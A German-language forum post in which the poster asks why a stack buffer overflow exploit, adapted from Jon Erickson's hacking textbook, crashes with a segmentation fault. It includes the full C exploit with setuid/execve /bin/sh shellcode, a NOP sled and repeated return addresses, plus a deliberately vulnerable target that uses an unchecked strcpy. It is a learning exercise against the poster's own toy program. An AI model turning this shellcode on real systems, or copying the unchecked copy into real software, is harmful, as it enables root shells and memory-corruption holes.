Einst legte ich mir Forbidden Code von Jon Erickson zu. Da findet man folgendes Programm(naja, nicht wirklich, einiges muste angepasst werden, da einiges nach gcc updates nicht mehr so ist, wie es früher mal war).
Das nette Programm:
Das nette Programm stürzt ab: "Speicherzugriffsfehler". Weiss jemand, warum dies nicht funktioniert?
Ich behaupte Spontan, dass ich den offset anpassen muss, da ich glaube, dass der Exploit nicht so präzise die Rücksprungadresse vom NOP-Sled trifft.
Ich bedanke mich schonmal für jede Hilfe
.
Code:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *ptr;
char *buffer = (char *)malloc(600);
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr: 0x%x\n", ret);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0;i < 600; i+=4)
{
*(addr_ptr++) = ret;
}
for(i=0; i < 200; i++)
{
buffer[i] = '\x90';
}
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
Code:
#include <cstring>
#include <iostream>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Ich behaupte Spontan, dass ich den offset anpassen muss, da ich glaube, dass der Exploit nicht so präzise die Rücksprungadresse vom NOP-Sled trifft.
Ich bedanke mich schonmal für jede Hilfe
